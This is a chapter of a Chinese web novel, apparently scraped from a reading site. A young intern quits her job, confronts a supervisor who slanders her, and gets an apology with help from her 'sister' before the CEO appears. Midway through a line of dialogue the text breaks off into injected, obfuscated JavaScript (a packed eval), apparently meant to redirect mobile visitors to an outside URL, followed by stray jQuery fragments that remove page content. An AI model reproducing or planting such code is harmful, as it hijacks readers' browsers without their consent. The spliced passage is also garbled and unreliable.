鼎盛集团总部在西城,独占了一整栋楼,苏月盈之前工作的鼎盛实业,就在这栋楼的15~18层。
下午4点半,有员工忙里偷闲,到茶水间冲泡咖啡,顺便聊两句八卦。
“我去,这又是哪位大少爷大小姐来了?”
靠在窗口的莫书本来还困得有点睁不开眼,结果瞥到由远及近开到集团楼下的那辆兰博基尼,一下子就醒了。
“在京市,一板砖掉下去,砸到的10个有8个是兰博基尼,剩下2个迈巴赫,这有什么好稀奇的。”同事嘴上说着不稀奇,可身体却很诚实地靠过去,“但你还别说,这么多豪车,还得是兰博基尼那两只大翅膀最排面。”
莫书眼疾手快地拍了两张照片,同时嘴也没闲着,“反正不是太子妃,太子妃座驾是保时捷。”
与此同时,楼下。
苏月盈刚下车,手机屏幕就亮了。
余额不足请充值:[图片][图片]
余额不足请充值:我去,好帅的兰博基尼
余额不足请充值:你到哪儿了?要是正好到公司楼下,那有眼福了
苏月盈:……
苏月盈放大图片、编辑、画圈、保存、再发送。
退休中:你看看这是谁?
余额不足请充值:?
余额不足请充值:你稍等,我CPU有点过载
余额不足请充值:你今早刚提了辞职,下午就坐着兰博基尼回来?
余额不足请充值:熹妃回宫都没您快啊??
……
苏月盈拿着辞职申请就直奔18层总裁秘书办。
这个点,柳玲珑正在工位上端着咖啡和另一位秘书讨论昨晚吃的法餐,正挑剔着那顿法餐用的红酒不够好,苏月盈就把辞职申请甩到了她面前。
“柳助,我来走离职流程,麻烦你签个字。”苏月盈只想速战速决,“另外,我也已经在OA和邮件上同步递交了申请,没有提前三天确实是我的问题,违约金我会照常付。”
柳玲珑放下咖啡,挑眉扫了她一眼,没说签不签,而是不满地数落,“你这离职提得太突然了,而且一整个早上不见人影,你让我怎么给你签字?最开始面试的时候说得好听,说一定能稳定实习到试用期结束,我才放心把那么多重要的事情交给你,现在活还没干完你人就要走,还有没有一点责任心了?”
“你交代给我的所有任务我都已经完成了,交接材料现在也可以马上整理好。”苏月盈耐心地沟通,“我跟你们公司签的是合同,不是卖身契,离职是通知,你要是非要卡我,可以啊,那我也不介意打官司。”
要是放在以前,苏月盈可能还会窝窝囊囊地旁敲侧击一下原因,再厚着脸皮磨几轮,但见过家办的人,实打实签下了好几份信托和保险后,她忽然觉得自己没必要再在这种事情上浪费时间。
以前是没人给她托底,可现在她背后站了一座喜马拉雅,她还怕什么?
“怎么,拿劳动法吓唬我啊。”柳玲珑的脸一下子就拉下来了,“你突然要走,那接下来所有工作我都要重新排,你给我造成了这么大的麻烦,我难道还不能批评你两句!”
“很大麻烦吗?主持项目分工本来就是你的工作,你困扰的只不过是我走了没人帮你干活,别人又没我好拿捏。你为难的只是接下来金辰湾的项目谁帮你对接谁给你做方案。”既然柳玲珑都这么说了,苏月盈觉得自己也没必要再留面子了,“而且你也没想过让我转正吧,就是想白嫖完整的方案,然后再随便找个理由,像今天这样卡我的转正。”
柳玲珑被怼得满脸通红,猛地一拍桌,还想再说什么,又被苏月盈抢断。
苏月盈:“让我辞职也是江小姐的意思。怎么,她没通知你吗?”
柳玲珑:“江小姐又不是我们公司的,她说什么就是什么吗?”
苏月盈:“你在工作时间派出去给她拎包陪她逛街的时候怎么不说这句话?”
柳玲珑:……
柳玲珑气得说不出半句话,你你你你了半天。
苏月盈把申请推过去,“签字。”
柳玲珑咬牙切齿地签了字,然后把纸甩回去,她胸膛剧烈起伏了几下,又上上下下打量了苏月盈一圈,脸上神色忽然从气愤转变成轻蔑。
“我说怎么突然这么硬气呢,原来是榜上大款了啊。”
话一出口,柳玲珑就知道自己说得急了,但说都说了,又能怎么样,她也是合理怀疑啊!
“这一身的Dior,一晚上就让男人给你花了这么多钱,挺有本事的,不会是刚从床上爬起来吧?”
苏月盈:?
苏月盈气笑了。
她当着柳玲珑的面拿出手机,点开录音,“说啊,接着说。你接下来说的每一句话我都会录下来,但凡你再胡言乱语一句,那我们直接派出所见。”
话音刚落,柳玲珑的声音就从她们背后响了起来——
“这一身的Dior……”
刚响起半句,又戛然而止。
苏月盈转头,看见站在办公室外面的简云晞时眼睛都亮了。
“姐!”
“不好意思,巧了不是。”简云晞晃了下手机,“我录下来了。”
“你是谁?”柳玲珑瞪着简云晞,“谁让你进来的?!我就是随口开个玩笑,你那么较真干什么。”
简云晞:“行啊,那我现在就请朋友拿着大喇叭守在你们集团楼下,逢人就开个你的玩笑,你说好不好?”
柳玲珑:“你敢!”
“那就道歉。”简云晞冷眼望着柳玲珑,语气分明没有多重,却让她无意识打了个冷战。
柳玲珑素来高傲,习惯了把周围的人按三六九等分类,苏月盈在她眼里无疑就是最低等的穷酸鬼,没背景没资源,空有一张脸和好看的学历。
让她给这种人道歉?想都别想!
苏月盈几步贴到简云晞身边去,“姐,你怎么上来了?”
简云晞摸摸苏月盈的脑袋,把一个银色的U盘递过去,“你落了这个在车里。”
“哦,这个。”苏月盈转身把U盘拍到柳玲珑面前,“要交接的都在这里了。”
简云晞转头又催柳玲珑:“快点,道歉。”
柳玲珑咬着牙,没说话。
几米外,余心怡一副大公无私的样子出声了。
“Lucy只是有点莽撞,没必要在这里上纲上线的。苏月盈,你现在已经不算是鼎盛的员工了,请你和你姐马上离开。要是再闹,我就喊保安上来了。”
“知道她莽撞,就应该在她情绪不对劲的第一秒把人拦住,而不是等人把话都说完了才来和稀泥。”简云晞一个眼神都没给她,直接开怼,“这位……Lucy是吧,你要是不道歉,那我们只能派出所见了。鼎盛不是正准备参加金辰湾项目的竞标吗,这个时候总裁秘书被告诽谤造谣,你说后果会怎么样?”
柳玲珑脸色顿时煞白一片,显然完全被掐住了七寸。
余心怡脸色也变了,她看向柳玲珑,语气开始加重,“Lucy,这确实是你不对在先。”
“……对不起,”她一脸受尽屈辱的模样,“行了吧!”
简云晞看向苏月盈,眼神询问可不可以。
苏月盈垂眸沉默了一会儿,才开口:“我知道你的道歉不是真心的,但我也不在乎。你刚才不仅侮辱了我,其实更侮辱了你自己。”
柳玲珑:“你还要怎么样,我都道歉了!”
“你看不起我,但你也是女的,你污蔑我,其实也是在污蔑自己。你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913470|213229||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宣扬我只能靠男人,就是在告诉大家,一个女性生活条件的突然改善,就只能狭隘地归因于一个男人。别人觉得我是这样,很快也会觉得你也是这样。不要自以为你自己会是例外,真这么想那只能说明你太蠢。”
停顿了一下后,苏月盈继续说。
“而且就算真的因为一个男人获得了钱获得了资源,只要不违背人伦,不违背道德,那也不应该被这么羞辱。因为付出是双向的,难不成还想免费就得到妥帖的情绪价值、贴心的私人生活管家和恋爱的快乐吗?你试图规训我,但真正被规训的人,是你自己。”
苏月盈说完这一大段话后,整间办公室久久没有人再说话。
最后还是柳玲珑受不了,大笑了几声后,扯着嗓子发出尖锐的驳斥:“你疯了?在这里装什么教育家哲学家,有空多赚两千块先吧!”
余心怡却突然起身,甚至还慌张地打翻了桌面上的马克杯。
“顾总!”她慌忙开口,“不好意思,是不是打扰到您了,我马上让保安上来!”
办公室前后两道门,前面是玻璃门,出去了就是电梯,后面那扇门则直通顾庭深的总裁办公室。现在,总裁办公室的门被打开了,顾庭深单手插兜站在那里,也不知道听了多久。
作为原小说男主,他自然是英俊的,也有着许许多多男主的时髦人设:傲慢和专制。
一身私人订制的手工西装,目光越过大半个办公室,落在苏月盈身上,神色莫测。
“苏月盈。”
苏月盈绷着一张小脸点了下头,“顾总,我回来办离职。”
顾庭深眉心微蹙:“在这边工作得不开心?”
苏月盈:……
苏月盈:“……上班没什么开不开心的。”
简云晞更直接:“单纯恶心你们堪称剥削的工作制度。”
苏月盈1秒参团:“对,007谁爱干谁干吧,反正我不干了!”
简云晞生怕苏月盈再在这里多待两秒,就要被剧情之力掰成恋爱脑,不着痕迹地往前站了半步,挡住了顾庭深的视线。
“月盈,要是该说的都说完了,我们走吧。”
顾庭深不语,只是一味地深沉,然后用低哑的声线说:“离开了鼎盛,你应该找不到——。”
简云晞连他的话一半都没听完,拉着苏月盈转身就走。
顾庭深:……
顾庭深表情一僵,转而看向余心怡。
“去查。”
余心怡勉强笑了笑,“是,顾总。”
……
“姐,姐?”苏月盈被简云晞拉着,快要跑起来了,“你怎么突然这么急啊?”
简云晞脚步一顿,不可思议地回头,“你还想留在那里?”
“当然不想!”苏月盈连连摇头。
简云晞不放心地试探:“你觉得那个顾总,怎么样?”
苏月盈:“……真话?”
简云晞:“当然!”
苏月盈:“装装的。你说余心怡假惺惺和稀泥,我觉得他就像高配版余心怡。”
听上去不像是能发展暧昧的样子。
简云晞微微放心,但还是决定再上点眼药。
“你刚才说得很棒,越是用贞操和清白来绑架别人的人,其实只是自以为贞操和清白很重要。这一套说辞在以往男女权力失衡的职场环境中很有效,但现在可不是以前了。”
“我一开始没打算说那么多的。”苏月盈不好意思地挠了下脸,“但我一看到你来了,我突然就好像有了勇气,就什么都敢说了。”
“那可太好了。”简云晞下达重要指令,“下次争取自己一个人的时候也这么勇敢。”
“是!”苏月盈眼睛又亮又圆,应得铿锵有力,“我一定争取做到!”